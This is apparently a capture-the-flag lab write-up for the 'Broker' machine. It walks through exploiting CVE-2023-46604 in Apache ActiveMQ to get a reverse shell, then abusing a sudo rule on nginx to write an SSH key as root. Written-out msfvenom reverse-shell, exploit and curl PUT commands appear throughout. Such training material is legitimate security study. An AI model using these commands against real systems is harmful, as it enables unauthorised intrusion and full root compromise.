Overview

Broker is an easy Linux machine that demonstrates how an exposed Apache ActiveMQ service vulnerable to CVE-2023-46604 can lead to unauthenticated remote code execution, followed by privilege escalation through a sudo misconfiguration allowing nginx to run as root.

Attack Chain

  • Enumerate exposed TCP services with nmap
  • Identify Apache ActiveMQ 5.15.15 on port 61616
  • Exploit CVE-2023-46604 to trigger remote code execution
  • Host a malicious XML file and ELF reverse shell payload
  • Gain a shell as activemq
  • Enumerate sudo privileges and discover /usr/sbin/nginx
  • Start a custom nginx instance as root with PUT enabled
  • Upload an SSH public key into /root/.ssh/authorized_keys
  • SSH into the target as root

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan to identify the exposed services.

export IP=10.129.230.87; export NAME=BROKER; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

The open TCP ports are:

22,80,1883,5672,8161,36319,61613,61614,61616

We then run a service and version scan against the discovered ports.

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

nmap results nmap results

Findings

The scan shows several services related to Apache ActiveMQ, including MQTT (1883), AMQP (5672), STOMP (61613), and the OpenWire transport on port 61616. The important finding is ActiveMQ 5.15.15 on port 61616, which is vulnerable to CVE-2023-46604, an unauthenticated remote code execution vulnerability.


Foothold

Apache ActiveMQ RCE

Since the exposed ActiveMQ version is vulnerable, we use a public proof-of-concept exploit for CVE-2023-46604.

git clone https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ
cd CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

The exploit chain uses an XML file to instruct the target to download and execute a payload. First, we create a Linux reverse shell payload with msfvenom.

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.189 LPORT=443 -f elf -o rev443.elf

Next, we edit poc-linux.xml so that it downloads our rev443.elf payload from the attacking machine.

malicious poc xml

With the payload and XML file ready, we start a Python web server in the same directory and open a penelope listener on port 443.

The exploit is written in Go, so we can first run it without arguments to confirm the usage.

go run main.go

go exploit usage

We then run the exploit against the target, pointing it to our hosted XML file.

go run main.go -i $IP -p 61616 -u http://10.10.14.189/poc-linux.xml

The exploit executes without errors.

exploit execution

On the Python web server, we see that both poc-linux.xml and rev443.elf are requested by the target.

payload served

The listener catches a shell as the activemq user.

activemq shell

The user flag can now be read.

cat /home/activemq/user.txt

user flag


Privilege Escalation

Sudo Enumeration

After gaining a shell as activemq, we check the available sudo privileges.

sudo -l

sudo privileges

The output shows that activemq can run /usr/sbin/nginx as root. This is interesting because nginx can be started with a custom configuration file using the -c flag. If we control the configuration, we can make nginx serve the root filesystem and allow file uploads.

Malicious Nginx Configuration

We create a custom nginx configuration in /tmp. The key settings are user root;, which runs the worker process as root, root /;, which serves the filesystem from /, and dav_methods PUT;, which enables HTTP PUT uploads.

cat << EOF > /tmp/nginx_pwn.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
        worker_connections 768;
}
http {
    server {
            listen 1339;
            root /;
            autoindex on;
            dav_methods PUT;
    }
}
EOF

The configuration file is written to /tmp.

nginx configuration

We then start nginx as root using our custom configuration.

sudo /usr/sbin/nginx -c /tmp/nginx_pwn.conf

To confirm that it is listening, we check for port 1339.

ss -ntplu

nginx listening

SSH Key Upload

Now that the target is running our writable nginx instance as root, we generate an SSH key pair as the activemq user. The default values are used, with no passphrase.

ssh-keygen

ssh key generation

The keys are stored in /home/activemq/.ssh.

ssh directory

Using curl, we send the contents of our public key to /root/.ssh/authorized_keys through the malicious nginx server. Since nginx is serving / and accepts PUT requests, this writes the file as root.

curl -X PUT localhost:1339/root/.ssh/authorized_keys -d "$(cat id_rsa.pub)"

We can then SSH to localhost as root from the target itself.

ssh -i id_rsa root@localhost

The login succeeds and gives us a root shell.

root ssh local

External Root SSH Access

To make access easier from the attacking machine, we copy the private key content into a file called root.key locally and fix the permissions.

chmod 600 root.key

root key copied

We can now SSH directly to the target as root.

ssh root@$IP -i root.key

root ssh external

The shell confirms root access.

root shell

The root flag can now be read.

cat /root/root.txt

root flag


Key Takeaways

Broker shows how dangerous exposed middleware services can be when they run vulnerable versions. Apache ActiveMQ 5.15.15 provided a direct unauthenticated RCE path through CVE-2023-46604, while the sudo permission for nginx created a clean privilege escalation path. By running a custom nginx configuration as root, we were able to enable PUT uploads and write an SSH key directly into root’s authorized_keys file.